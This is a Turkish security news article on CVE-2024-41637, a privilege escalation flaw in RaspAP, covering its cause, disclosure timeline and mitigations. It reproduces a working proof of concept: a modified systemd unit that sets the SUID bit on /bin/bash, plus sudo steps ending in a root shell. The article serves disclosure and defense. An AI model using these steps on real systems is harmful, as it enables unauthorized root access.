Raspberry Pi cihazlarını kablosuz erişim noktalarına veya yönlendiricilere dönüştürmek için tasarlanmış açık kaynaklı bir proje olan RaspAP’ta kritik bir yerel ayrıcalık yükseltme güvenlik açığı keşfedildi.
CVE-2024-41637 olarak tanımlanan bu kusur, CVSS ölçeğinde 9,9 (Kritik) şiddet puanı ile derecelendirildi.
Söz konusu güvenlik açığı RaspAP’ın 3.1.5 öncesi sürümlerini etkiliyordu ve RaspAP güvenlik ekibiyle iletişime geçmeye yönelik çok sayıda girişimin yanıtsız kalmasının ardından 27 Temmuz 2024’te kamuoyuna açıklandı.
CVE-2024-41637 – RaspAP Yerel Ayrıcalık Yükseltmesi
RaspAP, web arayüzü aracılığıyla kablosuz ağların yapılandırılması ve yönetilmesinin kolaylığı nedeniyle eğitim ortamlarında, IoT uygulamalarında ve ev laboratuvarı meraklıları tarafından yaygın olarak kullanılmaktadır.
0xZon raporuna göre, güvenlik açığı, www-data kullanıcısının restapi.service dosyasına yazabilmesi ve parola kullanmadan sudo ayrıcalıklarıyla kritik komutları çalıştırabilmesi gibi uygunsuz erişim kontrollerinden kaynaklanıyor.
Bu kombinasyon saldırganların ayrıcalıklarını www-data’dan root’a yükseltmelerine olanak tanır ve bu da ciddi güvenlik ihlallerine yol açabilir.
Join our free webinar to learn about combating slow DDoS attacks, a major threat today.
Sömürü Kavram Kanıtı
Açığı keşfeden güvenlik araştırmacısı Aaron Haymore, açığın nasıl istismar edilebileceğini gösteren bir kavram kanıtı (PoC) sundu.
Adımlar, restapi.service dosyasının kök ayrıcalıklarıyla keyfi kodu yürütecek şekilde değiştirilmesini içerir. İşte sürecin bir özeti:
- Hizmet Yapılandırmasını Düzenle: www-data kullanıcısı olarak, /lib/systemd/system/restapi.service konumunda bulunan restapi.service dosyasını aşağıdaki yapılandırmayla değiştirin:
[Unit]
Description=Set SUID bit on /bin/bash
After=network.target
[Service]
Type=simple
ExecStart=/bin/bash -c 'echo "Service started. Use systemctl to stop the service to set the SUID bit on /bin/bash."'
ExecStop=/bin/bash -c 'chmod u+s /bin/bash'
Restart=always
RestartSec=1
[Install]
WantedBy=multi-user.target
- Makineyi yeniden başlatın: Makineyi yeniden başlatmak ve daemon’u yeniden yüklemek için sudo /sbin/reboot komutunu çalıştırın.
- Değiştirilmiş Hizmeti Başlat: Yeniden başlattıktan sonra, sudo /bin/systemctl start restapi.service komutunu kullanarak değiştirilmiş servisi başlatın.
- Hizmeti Durdur: SUID bitini ayarlamak için sudo /bin/systemctl stop restapi.service komutuyla servisi durdurun.
- Kök Erişimi Elde Edin: Kök kabuğuna erişmek için /bin/bash -p komutunu çalıştırın.
Bu adımlar, bir saldırganın bu güvenlik açığını kullanarak kök erişimini nasıl elde edebileceğini göstererek, bu güvenlik açığının kritik doğasını vurgulamaktadır.
Zaman Çizelgesi ve Yanıt
Güvenlik açığı keşfedildi ve 16 Temmuz 2024’te RaspAP güvenlik ekibine bildirildi. 18, 23 ve 26 Temmuz’da gönderilen birden fazla takip e-postasına rağmen herhangi bir yanıt alınmadı.
Sonuç olarak, güvenlik açığı 27 Temmuz 2024’te kamuoyuna duyuruldu. RaspAP ekibinin yanıt vermemesi, zamanında iletişimin ve güvenlik sorunlarının derhal ele alınmasının önemini vurguluyor.
RaspAP’deki bu güvenlik açığı, bir sistem içindeki erişim kontrollerinin ve kullanıcı ayrıcalıklarının doğru şekilde yapılandırılmasının kritik önemini vurgulamaktadır.
www-data gibi düşük ayrıcalıklı bir kullanıcının servis dosyalarını değiştirmesine ve uygun kısıtlamalar olmadan sudo kullanmasına izin vermek, ayrıcalık yükselmesi ve keyfi kod yürütme gibi ciddi güvenlik ihlallerine yol açabilir.
Bu tür güvenlik açıklarının önüne geçmek için erişim denetimine ilişkin aşağıdaki en iyi uygulamalara uyulması esastır:
- En Az Ayrıcalık İlkesini Uygulayın: Kullanıcıların görevlerini yerine getirmek için gereken en düşük erişim düzeyine sahip olduğundan emin olun. Hizmet dosyalarına yazma izinlerini yalnızca bunlara ihtiyaç duyanlarla sınırlayın.
- Sudo Erişimini Denetle ve Kısıtla: Yalnızca güvenilir kullanıcıların yükseltilmiş ayrıcalıklara sahip komutları yürütebilmesini sağlamak için sudoers yapılandırmalarını düzenli olarak inceleyin. Sömürülebilecek geniş NOPASSWD yapılandırmalarından kaçının.
- Güvenli Hizmet Yapılandırmaları: Kritik hizmet yapılandırmalarının ve betiklerinin yetkisiz değişikliklere karşı korunduğundan emin olun. Uygun dosya izinlerini ve sahiplik ayarlarını kullanın.
- İzleme ve Kayıt: Yetkisiz değişiklikleri veya şüpheli faaliyetleri tespit etmek ve uyarmak için kapsamlı günlük kaydı ve izleme uygulayın. Olası istismar girişimlerini erken yakalamak için günlükleri düzenli olarak inceleyin.
Doğru erişim kontrollerine odaklanarak ve izinlerin uygun şekilde yapılandırılmasını sağlayarak kuruluşlar bu tür güvenlik açıklarının riskini önemli ölçüde azaltabilir ve daha güvenli bir ortam sağlayabilir.
Bu vaka, kullanıcı ayrıcalıklarının ve kritik sistem bileşenlerine erişimin titizlikle yönetilmesinin önemini vurgulamaktadır.
Protect Your Business Emails From Spoofing, Phishing & BEC with AI-Powered Security | Free Demo